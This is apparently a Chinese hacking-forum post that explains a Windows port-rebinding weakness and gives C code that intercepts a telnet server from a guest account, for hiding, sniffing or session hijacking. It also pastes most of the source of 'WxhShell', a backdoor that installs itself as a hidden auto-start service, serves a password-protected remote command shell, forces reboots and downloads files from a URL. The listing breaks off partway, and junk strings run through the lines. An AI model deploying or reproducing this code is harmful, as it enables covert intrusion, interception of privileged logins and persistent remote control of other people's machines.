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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: d4S4 e  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oMQ4q{&|  
z1J)./BO  
  saddr.sin_family = AF_INET; >1j#XA8  
q]? qeF[  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9zwD%3Ufn  
4X+xh|R:U  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); TEz;:*,CG  
n/_q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 I%YwG3uR  
3K &637  
  这意味着什么?意味着可以进行如下的攻击: W{F)YyR{.  
z9aR/:W}  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 >dl5^  
4YfM.~ 6  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T+Z[&|  
4$xVm,n|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (U:-z=E#1  
c RLw)"|  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t*IePz]/  
Lh[0B.g<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 u cpU $+  
w2 Y%yjCV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |Ea%nghl  
Bl b#h  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 \l GD8@,x  
f .O^R~,  
  #include Kb%Y%j  
  #include Z/q6Q#  
  #include YSP\+ZZ  
  #include    ]Dq6XR  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n _K1%  
  int main() d{S'6*`D  
  { Tb i?AJa}  
  WORD wVersionRequested; YV.' L  
  DWORD ret; *yhA8fJ  
  WSADATA wsaData; 1>Sfv|ZP,  
  BOOL val; )'+[,z ;s  
  SOCKADDR_IN saddr; _ $F=A  
  SOCKADDR_IN scaddr; w+)${|N?  
  int err; aopPv&jY  
  SOCKET s; 5P!ZGbG  
  SOCKET sc; +e{ui +  
  int caddsize; \ S;[7T  
  HANDLE mt; }yT/UlU  
  DWORD tid;   OJ&'Z}LB  
  wVersionRequested = MAKEWORD( 2, 2 ); w;O-ATUzN  
  err = WSAStartup( wVersionRequested, &wsaData ); cGlN*GJ*H  
  if ( err != 0 ) { #]}Ii{1?Y  
  printf("error!WSAStartup failed!\n"); Kv@P Uzu  
  return -1; `+,?%W)  
  } L`nW&; w'  
  saddr.sin_family = AF_INET; a=MN:s?Fc0  
   d5'Q 1"{  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ]o] VS  
DTezG':  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &|Gg46P7  
  saddr.sin_port = htons(23); o/{`\4  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) r2RJb6  
  { * :L"#20:R  
  printf("error!socket failed!\n"); b}qfOgd5  
  return -1; ~J].~^[  
  } MLd; UHU  
  val = TRUE; \IL)~5d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |S8$NI2  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) :!aLa}`@  
  { fI`Ez!w0  
  printf("error!setsockopt failed!\n"); IWv(G Qx  
  return -1; !aT:0m$:9c  
  } "@G[:(BoB<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &~_F2]oM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -}6ew@GE  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p/Ul[7A4e  
KU8,8:yY  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0|AgmW_7 .  
  { yJ?=##  
  ret=GetLastError(); p"0#G&-  
  printf("error!bind failed!\n"); 1 uU$V =  
  return -1; ?Bu*%+  
  } 0nt@}\j  
  listen(s,2); }b1G21Dc!  
  while(1) !>9s  
  { H'WYnhU&  
  caddsize = sizeof(scaddr); (_pw\zk>  
  //接受连接请求 l#[Z$+!09  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (HRj0,/^  
  if(sc!=INVALID_SOCKET) yY#h 1  
  { EXSJ@k6=8s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 6{)pF  
  if(mt==NULL) _^_3>}y5op  
  { :ts3_-cr  
  printf("Thread Creat Failed!\n"); O\<zQ2m  
  break; T,!EL +o4  
  } %"{P?V<-V  
  } Jr5S8 c|"  
  CloseHandle(mt); 9QU\J0c/  
  } : #a  
  closesocket(s); -E}X`?WhD  
  WSACleanup();  /b=C  
  return 0; mu\1hKq;B  
  }   f-M:ap(O  
  DWORD WINAPI ClientThread(LPVOID lpParam) $OZ= L  
  { gKb,Vrt  
  SOCKET ss = (SOCKET)lpParam; h7Uj "qH  
  SOCKET sc; ?s2-iuMPd  
  unsigned char buf[4096]; T<*)Cdid  
  SOCKADDR_IN saddr; 94B%_  
  long num; KS*,'hvY  
  DWORD val; 5t%8y!s  
  DWORD ret; *EuX7LEu_  
  //如果是隐藏端口应用的话,可以在此处加一些判断 l,o'J%<%  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   1m5l((d  
  saddr.sin_family = AF_INET; c'Z=uL<Rm  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); WWp MuB_G  
  saddr.sin_port = htons(23); ho=!Yy  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) qt L]x -O  
  { Vit-)o{zr  
  printf("error!socket failed!\n"); JU)^b V_  
  return -1; LuySa2 ,  
  } z|Y54o3  
  val = 100; =w3A{h"^  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]$2 yV&V&  
  { k^cZePqE6d  
  ret = GetLastError(); L-(bw3Yr>  
  return -1; T U6s~  
  } $.D )Llcq  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4$iS@o|  
  { (xG%H:6,  
  ret = GetLastError(); "mQp#d/'  
  return -1; a]p9 [Nk  
  } BWxfY^,'&6  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) {@2+oOuYfN  
  { gM&O dT+i  
  printf("error!socket connect failed!\n");  el2Wk@*  
  closesocket(sc); 6hj[/O)E  
  closesocket(ss); Y-bTKSn  
  return -1; +ZbNSN=  
  } `xx.,;S  
  while(1) pnuo;rs  
  { ~qZ6I)?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 $e+4Kt ,  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 - BWf.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 )Wle CS_  
  num = recv(ss,buf,4096,0); R]yce2w"z  
  if(num>0) R ?s;L r  
  send(sc,buf,num,0); eGT&&Y  
  else if(num==0) q6pHL  
  break; Ye]K 74M.  
  num = recv(sc,buf,4096,0); lD0a<L 3  
  if(num>0) !D F~]&  
  send(ss,buf,num,0); 3ibQbk  
  else if(num==0) j*>Df2z  
  break; ]*P9=!x|M  
  } ;:Z5Ft m  
  closesocket(ss); iT:i '\~  
  closesocket(sc); ]2l}[ w71|  
  return 0 ; tf6-DmMH  
  } 6am6'_{  
JkN*hm?  
r-YJ$/J  
========================================================== 7vXP|8j  
~~|Iw=:  
下边附上一个代码,,WXhSHELL O [= L#wi  
Sed 8Q-m  
========================================================== P>rRD`Yy\  
[R1|=kGU  
#include "stdafx.h" qqo#H O  
 OLIMgc(W  
#include <stdio.h> 842v^ 2  
#include <string.h> q]yw",muT  
#include <windows.h> !U:&8Le  
#include <winsock2.h> >yKz8SV#  
#include <winsvc.h> QGI@5  
#include <urlmon.h> %0 {_b68x  
;%d<Uk?  
#pragma comment (lib, "Ws2_32.lib") U]}FA2  
#pragma comment (lib, "urlmon.lib") %\HE1d5;  
fZpi+I  
#define MAX_USER   100 // 最大客户端连接数 ^[.}DNR95(  
#define BUF_SOCK   200 // sock buffer Q>Klkd5(  
#define KEY_BUFF   255 // 输入 buffer  I!?Xq  
wbJBGT{sm  
#define REBOOT     0   // 重启 `Y.~eE  
#define SHUTDOWN   1   // 关机  &lU\9  
q6rkp f,Tl  
#define DEF_PORT   5000 // 监听端口 ,+ IFV  
S'^ q  
#define REG_LEN     16   // 注册表键长度 "f 89   
#define SVC_LEN     80   // NT服务名长度 |hj!NhBe  
(/nnN4\=  
// 从dll定义API ,\iXZ5"R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 59{X;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 'm`}XGUBS  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ZHjL8Iq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ,9d]-CuP;  
*Sdx:G~gp  
// wxhshell配置信息 9,~7,Py}  
struct WSCFG { @. $- ^-  
  int ws_port;         // 监听端口 c_ncx|dUs  
  char ws_passstr[REG_LEN]; // 口令 xDU \mfeGj  
  int ws_autoins;       // 安装标记, 1=yes 0=no ?7V~>i8[  
  char ws_regname[REG_LEN]; // 注册表键名 9#7W+9  
  char ws_svcname[REG_LEN]; // 服务名 hFm^Fy[R  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~C^:SND7  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #<==7X#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \,Ws=9f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 3QBzyJW f  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,ja!OZ0$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 RtR@wZ2\s  
o}G`t Bz  
}; niCK(&z  
)%S@l<%@?  
// default Wxhshell configuration 'u x!:b"  
struct WSCFG wscfg={DEF_PORT, `1P|<VbZ  
    "xuhuanlingzhe", $%cHplQz5  
    1, ms5?^kS2O  
    "Wxhshell", pl3ap(/  
    "Wxhshell", Lu6g`O:['  
            "WxhShell Service", ?e6>dNw  
    "Wrsky Windows CmdShell Service", wdP(MkaV  
    "Please Input Your Password: ", q\?p' i  
  1, ~IW{^u  
  "http://www.wrsky.com/wxhshell.exe", p%meuWV%5  
  "Wxhshell.exe" g(tVghHxt$  
    }; M1WD^?tKQ.  
dq.U#Rhrx  
// 消息定义模块 .B<Bqr@?8  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +@^);b6  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .Ja].hP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3s?u05_  
char *msg_ws_ext="\n\rExit."; NW5OLa")J<  
char *msg_ws_end="\n\rQuit."; Q;VuoHj!  
char *msg_ws_boot="\n\rReboot..."; o/7u7BQl2  
char *msg_ws_poff="\n\rShutdown..."; Le?g ,c  
char *msg_ws_down="\n\rSave to "; >Y8\f:KQ  
(eU4{X7  
char *msg_ws_err="\n\rErr!"; xE@/8h  
char *msg_ws_ok="\n\rOK!"; So!=uYX  
gZ^Qt.6Z  
char ExeFile[MAX_PATH]; QPB,B>Z  
int nUser = 0; u#EcR}=]  
HANDLE handles[MAX_USER]; XEA5A.uc  
int OsIsNt; cQhr{W,Un  
B%uY/Mwz$  
SERVICE_STATUS       serviceStatus; k*)sz  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; YhV<.2^k  
"g5{NjimY  
// 函数声明 `K5*Fjx  
int Install(void); Z[IM\# "  
int Uninstall(void); ?[Y(JO#  
int DownloadFile(char *sURL, SOCKET wsh); Y&yfm/Ru  
int Boot(int flag); M\4` S&  
void HideProc(void); @~$"&B  
int GetOsVer(void); pml33^*<U  
int Wxhshell(SOCKET wsl); E>]K#H  
void TalkWithClient(void *cs); 1}a4AGAp  
int CmdShell(SOCKET sock); R]X 0D.  
int StartFromService(void); vb]kh _  
int StartWxhshell(LPSTR lpCmdLine); uEJ8Lmi  
3<W%z]k@M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :6lvX$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MBg[hu%  
!5lV#w!vb  
// 数据结构和表定义 an"~n`g  
SERVICE_TABLE_ENTRY DispatchTable[] = J?3/L&seA  
{ )pHlWi|h  
{wscfg.ws_svcname, NTServiceMain}, 7?R600OA  
{NULL, NULL} dWQsC|  
}; GKo&?Tj)  
8-x-?7  
// 自我安装 L_Gw:"-+Q  
int Install(void) 70 7( LG  
{ op9dYjG7  
  char svExeFile[MAX_PATH]; -:ucp2  
  HKEY key; Oh$:qu7o0&  
  strcpy(svExeFile,ExeFile); $!>.h*np  
P!|Z%H  
// 如果是win9x系统,修改注册表设为自启动 PX|@D_%Y=  
if(!OsIsNt) { U)bv,{-q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <v0`r2^S{-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); RX>P-vp  
  RegCloseKey(key); 0uDDaFS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #gV n7wq  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); o0C&ol_  
  RegCloseKey(key); 1]G)41  
  return 0; q_.fVn:!  
    } ~)ys,Q  
  } 7m-%  
} _aPAn|.  
else { pc*)^S  
/j GBQ-X  
// 如果是NT以上系统,安装为系统服务 @M"gEeI9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /dYv@OU?  
if (schSCManager!=0) p@G7}'|eyA  
{ nU_O|l9  
  SC_HANDLE schService = CreateService ) 6)bI.BY  
  ( pjFO0h_Y  
  schSCManager, vv ,4n&D  
  wscfg.ws_svcname, VQla.Y  
  wscfg.ws_svcdisp, aL;!BlU8v  
  SERVICE_ALL_ACCESS, z/{X{+Z  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , \nZB@u;S  
  SERVICE_AUTO_START, 12n:)yQy  
  SERVICE_ERROR_NORMAL, n6% `  
  svExeFile, uAPVR  
  NULL, J |q(HpB  
  NULL, #; ?3k uq(  
  NULL, xrkl)7;  
  NULL, S\TXx79PhC  
  NULL *vaYI3{qN  
  ); Kn~Rck| ]  
  if (schService!=0) 3 39q%j$  
  { bGWfMu=n  
  CloseServiceHandle(schService); hN'])[+V  
  CloseServiceHandle(schSCManager); _f[Q\gK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XH!#_jy  
  strcat(svExeFile,wscfg.ws_svcname); KR aL+A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .ImaM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cFL~< [>_  
  RegCloseKey(key); ZkbE&7Z  
  return 0; !y _{mE?V(  
    } sE"s!s/  
  } /IpCo  
  CloseServiceHandle(schSCManager); ;>?h/tS6  
} Ki;SONSV~|  
} 7s(tAbPdB  
92DM1~ *  
return 1; ss)x fG  
} f4f2xe7\Q  
S!b18|o"  
// 自我卸载 s/D)X=P1  
int Uninstall(void) .hat!Tt9  
{ "@UQSf,  
  HKEY key; @V*dF|# /  
q\6(_U#Tl  
if(!OsIsNt) { D`LBv,n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { B3#G  
  RegDeleteValue(key,wscfg.ws_regname); !K>iSF<  
  RegCloseKey(key); KMRPleF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =5+*TL`  
  RegDeleteValue(key,wscfg.ws_regname); sasurR|;  
  RegCloseKey(key); 6z9 '|;,4  
  return 0; TQ4@|S:OF  
  } {6'X z  
} L|'^P3#7`  
} Z4] n<~o  
else { E8# >k  
;Q;j@yx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y 2 @8B6  
if (schSCManager!=0) Pv'Q3O2<I  
{ /5ZX6YkeH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); USBQEt  
  if (schService!=0) L!fTYX#K]  
  { ote,`h  
  if(DeleteService(schService)!=0) { Wgwd?@uK  
  CloseServiceHandle(schService); jo`ZuN{  
  CloseServiceHandle(schSCManager); _VrY7Mz:r  
  return 0; x)::^'74  
  } g@`i7qN  
  CloseServiceHandle(schService); c5YPV"X  
  } iQ)ydY a  
  CloseServiceHandle(schSCManager); W7>2&$  
} +<7Oj s>o  
} >d/H4;8  
Gnkar[oa&  
return 1; OR <+y~Rv  
} (@1:1K(   
6CY&pbR  
// 从指定url下载文件 %=aKW[uq]  
int DownloadFile(char *sURL, SOCKET wsh) XIW0Z C   
{ S&-K!XyJ  
  HRESULT hr; x;/LOa{LR  
char seps[]= "/"; ?E([Nc0T  
char *token; P\jGyS j  
char *file; @]@|H?  
char myURL[MAX_PATH]; _wq?Pa<)e  
char myFILE[MAX_PATH]; " 9Gn/-V>  
<S@jf4  
strcpy(myURL,sURL); %**f`L%jN  
  token=strtok(myURL,seps); O`5,L[i1y  
  while(token!=NULL) Gt`7i(  
  { ?{ir$M  
    file=token; }s}g}t8v-  
  token=strtok(NULL,seps); <)VgGjZ-H  
  } f`9Mcli !  
V ;T :Q%  
GetCurrentDirectory(MAX_PATH,myFILE); A6&*VD  
strcat(myFILE, "\\"); d#ir=+o{h  
strcat(myFILE, file); G7%bY  
  send(wsh,myFILE,strlen(myFILE),0); gYKz,$  
send(wsh,"...",3,0); 2B,O/3y  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ed9Uw 7  
  if(hr==S_OK) /A=w`[<  
return 0; 6%v9o?:~l  
else -=ZL(r 1  
return 1; .G0 N+)  
sXIYl% d  
} 7;'33Bm*  
y~SVD@  
// 系统电源模块 J +6zV m  
int Boot(int flag) .JhQxXj  
{ _P;D.>?  
  HANDLE hToken; [,zq  
  TOKEN_PRIVILEGES tkp; 4U}qrN~=  
ym%UuC3^w  
  if(OsIsNt) { Ni,nQ;9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); uDF;_bli)H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fhoyji4  
    tkp.PrivilegeCount = 1; OZ[YB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Yd^@Ei9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); G=zWhqieh  
if(flag==REBOOT) { !gsvF\XDM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H];B?G';C  
  return 0; G-aR%]7$g  
} M+/xw8}a  
else { 'Uok<;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) mB?x_6#d9  
  return 0; $NXP)Lic)  
} wKV4-uyr  
  } #+ I'V\ [  
  else { kxn&f(5  
if(flag==REBOOT) { }Mc b\+[  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))  <wH+\  
  return 0; p9(y b  
} D&@]  
else { \/A.j|by,>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4=zs&   
  return 0; ._mep\#.:  
} }U_ ' 7_JT  
} UX 1 )((  
xP;r3u s  
return 1; O7K.\  
} {@Mr7*u  
o2 14V\  
// win9x进程隐藏模块 I=Y>z ^4  
void HideProc(void) (i1JRn-f  
{ 0#q=-M/?`  
 N;7/C  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `8:0x?X  
  if ( hKernel != NULL ) pSZ2>^";  
  { @f!X%)\;x  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1>!LK_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); gq?:n.;TY  
    FreeLibrary(hKernel); +6m.f,14q  
  } o4(*nz  
N.F5)04  
return; JKfG/z|  
} /7Q|D sa  
%u -x9  
// 获取操作系统版本 QrZ#<{,J5  
int GetOsVer(void) E8Dh;j  
{ yU?jmJ  
  OSVERSIONINFO winfo; ; * [:~5Wc  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~/ %Xm<  
  GetVersionEx(&winfo); s\ IKSoE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) JzHG5nmB  
  return 1; NW3 c_]`=  
  else 4zug9kFK  
  return 0; hlTbCl  
} RaZ>.5 D  
92+8zX  
// 客户端句柄模块 c\bL_  
int Wxhshell(SOCKET wsl) {pzj@b 1S  
{ ZykMri3bi  
  SOCKET wsh; W :w~ M'o  
  struct sockaddr_in client; s}D>.9  
  DWORD myID; ]BQYVx/  
@ [$_cGR7  
  while(nUser<MAX_USER) y4V:)@ P  
{ s0kp(t!fiu  
  int nSize=sizeof(client); gT+/nSrLV  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V7ph^^sC}  
  if(wsh==INVALID_SOCKET) return 1; : Mf"   
a QH6akH  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); gr=h!'m  
if(handles[nUser]==0) %x)b Z=An  
  closesocket(wsh); +2tQ FV;  
else z\YIwrq3*  
  nUser++; +^)v"@,VP  
  } /@os*c|je  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +SJ.BmT  
{K(mfTqm  
  return 0; ,pNx(a  
} 5pO|^G j1  
X1L@ G  
// 关闭 socket K %^n.  
void CloseIt(SOCKET wsh) Rx%S<i;9  
{ ^5mc$~1`  
closesocket(wsh); L9x-90'q,  
nUser--; v gN!9  
ExitThread(0); n,la<N]  
} {Gxe%gu6K  
/--p#Gh'  
// 客户端请求句柄 t6+m` Kq  
void TalkWithClient(void *cs) )?n'ZhsX  
{ \-<BUG]=  
c:[k+_Zr  
  SOCKET wsh=(SOCKET)cs; V+d_1] l  
  char pwd[SVC_LEN]; ^0VL](bD>  
  char cmd[KEY_BUFF]; ?KT{H( rU  
char chr[1]; R1jl<=  
int i,j; pYO =pL^Q  
'CLZ7 pV  
  while (nUser < MAX_USER) { qnm_#!&uHT  
(8nv&|  
if(wscfg.ws_passstr) { ]@q%dsz  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xNz(LZ.c  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #-hO\ QdC  
  //ZeroMemory(pwd,KEY_BUFF);  *kr/,_K  
      i=0; >rG>Bz^Pu  
  while(i<SVC_LEN) { LQ0/oYmNc  
yNu_>!Cp5  
  // 设置超时 {.Tx70kn  
  fd_set FdRead; 18g_v"6o  
  struct timeval TimeOut; :_{8amO  
  FD_ZERO(&FdRead); UD I{4+z  
  FD_SET(wsh,&FdRead); n:j'0WW  
  TimeOut.tv_sec=8; %>_[b,  
  TimeOut.tv_usec=0; J3 $>~?^1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); tDByOml8Ix  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); -[>de! T3$  
{C1crp>q  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M  .#}  
  pwd=chr[0]; 3? {AGJ1  
  if(chr[0]==0xd || chr[0]==0xa) { k.T=&0J_1  
  pwd=0; LZ*8YNp1'  
  break; > mGH4{H  
  } jW/WG tz  
  i++; D0. )%  
    } qY_qS=H^  
yzK;  
  // 如果是非法用户,关闭 socket  vSzpx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); t0)1;aBZ  
} VK}4 <u  
8&<:(mAP  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); rTD+7 )E  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?vXgHDs^T  
gLiJ&H  
while(1) { Lx"GBEkt7  
q*!R4yE;C  
  ZeroMemory(cmd,KEY_BUFF); tRjv  -  
] 5Cr$%H=  
      // 自动支持客户端 telnet标准   ,5DJ54B!  
  j=0; b|#=kPVgL}  
  while(j<KEY_BUFF) { A^U84kV=  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); OV>& `puL  
  cmd[j]=chr[0]; ^@fD{]I  
  if(chr[0]==0xa || chr[0]==0xd) { ,0l Od<  
  cmd[j]=0; U,<m%C"  
  break; l.YE@EL  
  } fHt\KP  
  j++; 'K[ml ?_  
    } oqrx7 +0{  
V^~RDOSy7n  
  // 下载文件 g?j)p y  
  if(strstr(cmd,"http://")) { m*0YMS>Y |  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7vRtTP  
  if(DownloadFile(cmd,wsh)) bzN[*X|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5#Er& 6s  
  else }~FX!F#oU  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WP<L9A  
  } Xr*I`BJ  
  else { 1v@#b@NXM7  
!pU$'1D  
    switch(cmd[0]) { fI.|QD*$b  
  Y2|i>5/|<  
  // 帮助 9#8vPjXW}.  
  case '?': { )>a~%~:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ?d')#WnC  
    break; +NlnK6T/  
  } F>;Wbk&[|  
  // 安装 U)}]Z@I-  
  case 'i': { )&Ii! tm3  
    if(Install()) w OL,LU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q'D Ts9Bj  
    else `[ZswLE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L*z=!Dpo  
    break; /$^Tou/v  
    } :X>Wd+lY:_  
  // 卸载 Q_mphW:[  
  case 'r': { -jH|L{Iyq}  
    if(Uninstall()) dPUe5k)G_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1M ?BSH{  
    else -cqE^qAdX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mc{z  
    break; !Ko2yn}6l  
    } 3(YvqPp&  
  // 显示 wxhshell 所在路径 qs4jUm  
  case 'p': { r@G*Fx8Z  
    char svExeFile[MAX_PATH]; 8ud12^s$  
    strcpy(svExeFile,"\n\r"); ?sfqg gi  
      strcat(svExeFile,ExeFile); O&!R7T  
        send(wsh,svExeFile,strlen(svExeFile),0); &raqrY|V  
    break; 3%vXB=>T!  
    } T(|'.&a  
  // 重启 I~,.@{4  
  case 'b': { RpdUR*K9x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !'f7;%7s  
    if(Boot(REBOOT)) q4ROuE|d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ @[xTyA  
    else { 5xH=w:  
    closesocket(wsh); fit{n]g  
    ExitThread(0); 6w.E Sm  
    } vCa8`m  
    break; 3%v)!dTa<^  
    } *l5?_tF  
